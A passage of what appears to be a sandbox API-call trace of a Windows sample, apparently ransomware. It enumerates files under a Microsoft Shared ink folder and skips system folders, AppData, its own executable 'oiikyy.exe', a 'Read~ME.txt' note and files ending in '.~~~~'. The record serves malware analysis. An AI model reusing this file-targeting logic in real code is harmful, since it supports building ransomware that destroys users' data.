	[0068.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpSrch="AppData") returned 0x0
	[0068.368] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.368] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpString2="C:\\Windows") returned -1
	[0068.368] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.368] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web", lpString2="C:\\System Volume Information") returned -1
	[0068.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.556] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.556] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.556] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.556] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.556] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.556] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.556] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.556] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.556] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.556] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.556] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.556] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.556] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1
	[0068.556] lstrcmpiW (lpString1="webbase.xml", lpString2="Windows") returned -1
	[0068.556] lstrcmpW (lpString1="webbase.xml", lpString2="oiikyy.exe") returned 1
	[0068.556] StrStrW (lpFirst="webbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.557] lstrcmpW (lpString1="webbase.xml", lpString2="Read~ME.txt") returned 1
	[0068.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0068.557] GetCurrentThreadId () returned 0x618
	[0068.557] RtlWakeConditionVariable () returned 0x365f48
	[0068.557] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0
	[0068.557] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0068.557] GetCurrentThreadId () returned 0x618
	[0068.557] RtlWakeConditionVariable () returned 0x365f48
	[0068.558] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1
	[0068.558] lstrcmpiW (lpString1="web.xml", lpString2="Windows") returned -1
	[0068.559] lstrcmpW (lpString1="web.xml", lpString2="oiikyy.exe") returned 1
	[0068.559] StrStrW (lpFirst="web.xml", lpSrch=".~~~~") returned 0x0
	[0068.559] lstrcmpW (lpString1="web.xml", lpString2="Read~ME.txt") returned 1
	[0068.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.559] GetCurrentThreadId () returned 0x618
	[0068.559] RtlWakeConditionVariable () returned 0x365f48
	[0068.559] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0
	[0068.559] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0068.559] GetCurrentThreadId () returned 0x618
	[0068.559] RtlWakeConditionVariable () returned 0x365f48
	[0068.559] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0068.559] lstrcmpiW (lpString1="he-IL", lpString2="Windows") returned -1
	[0068.559] lstrcmpW (lpString1="he-IL", lpString2=".") returned 1
	[0068.559] lstrcmpW (lpString1="he-IL", lpString2="..") returned 1
	[0068.559] lstrcmpW (lpString1="he-IL", lpString2="AppData") returned 1
	[0068.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpSrch="AppData") returned 0x0
	[0068.560] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.560] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpString2="C:\\Windows") returned -1
	[0068.560] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.560] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpString2="C:\\System Volume Information") returned -1
	[0068.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0068.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.561] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.561] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.561] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.561] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.561] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.561] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.561] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.561] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.561] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.561] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.561] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.561] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.561] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.561] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.561] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.561] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.561] GetCurrentThreadId () returned 0x618
	[0068.561] RtlWakeConditionVariable () returned 0x365f48
	[0068.561] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.562] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.563] GetCurrentThreadId () returned 0x618
	[0068.563] RtlWakeConditionVariable () returned 0x365f48
	[0068.563] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0068.563] lstrcmpiW (lpString1="hr-HR", lpString2="Windows") returned -1
	[0068.563] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1
	[0068.563] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1
	[0068.563] lstrcmpW (lpString1="hr-HR", lpString2="AppData") returned 1
	[0068.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpSrch="AppData") returned 0x0
	[0068.564] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.564] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpString2="C:\\Windows") returned -1
	[0068.564] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.564] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpString2="C:\\System Volume Information") returned -1
	[0068.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0068.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.564] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.564] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.564] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.564] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.564] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.566] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.566] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.566] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.566] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.566] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.566] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.566] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.566] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.566] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.566] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.566] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.567] GetCurrentThreadId () returned 0x618
	[0068.567] RtlWakeConditionVariable () returned 0x365f48
	[0068.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.567] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.567] GetCurrentThreadId () returned 0x618
	[0068.567] RtlWakeConditionVariable () returned 0x365f48
	[0068.567] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0068.567] lstrcmpiW (lpString1="hu-HU", lpString2="Windows") returned -1
	[0068.567] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1
	[0068.567] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1
	[0068.567] lstrcmpW (lpString1="hu-HU", lpString2="AppData") returned 1
	[0068.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpSrch="AppData") returned 0x0
	[0068.567] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.567] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpString2="C:\\Windows") returned -1
	[0068.567] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.567] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpString2="C:\\System Volume Information") returned -1
	[0068.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0068.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.568] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.568] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.568] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.568] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.568] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.568] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.568] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.568] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.568] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.568] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.568] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.569] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.569] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.569] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.569] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.569] GetCurrentThreadId () returned 0x618
	[0068.569] RtlWakeConditionVariable () returned 0x365f48
	[0068.569] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.569] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.569] GetCurrentThreadId () returned 0x618
	[0068.569] RtlWakeConditionVariable () returned 0x365f48
	[0068.569] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0068.569] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="Windows") returned -1
	[0068.569] lstrcmpW (lpString1="hwrcommonlm.dat", lpString2="oiikyy.exe") returned -1
	[0068.569] StrStrW (lpFirst="hwrcommonlm.dat", lpSrch=".~~~~") returned 0x0
	[0068.569] lstrcmpW (lpString1="hwrcommonlm.dat", lpString2="Read~ME.txt") returned -1
	[0068.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.569] GetCurrentThreadId () returned 0x618
	[0068.569] RtlWakeConditionVariable () returned 0x365f48
	[0068.570] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0068.570] lstrcmpiW (lpString1="HWRCustomization", lpString2="Windows") returned -1
	[0068.570] lstrcmpW (lpString1="HWRCustomization", lpString2=".") returned 1
	[0068.570] lstrcmpW (lpString1="HWRCustomization", lpString2="..") returned 1
	[0068.570] lstrcmpW (lpString1="HWRCustomization", lpString2="AppData") returned 1
	[0068.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpSrch="AppData") returned 0x0
	[0068.570] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.570] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpString2="C:\\Windows") returned -1
	[0068.570] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.570] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpString2="C:\\System Volume Information") returned -1
	[0068.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0068.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.571] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.571] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.571] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.572] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.572] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
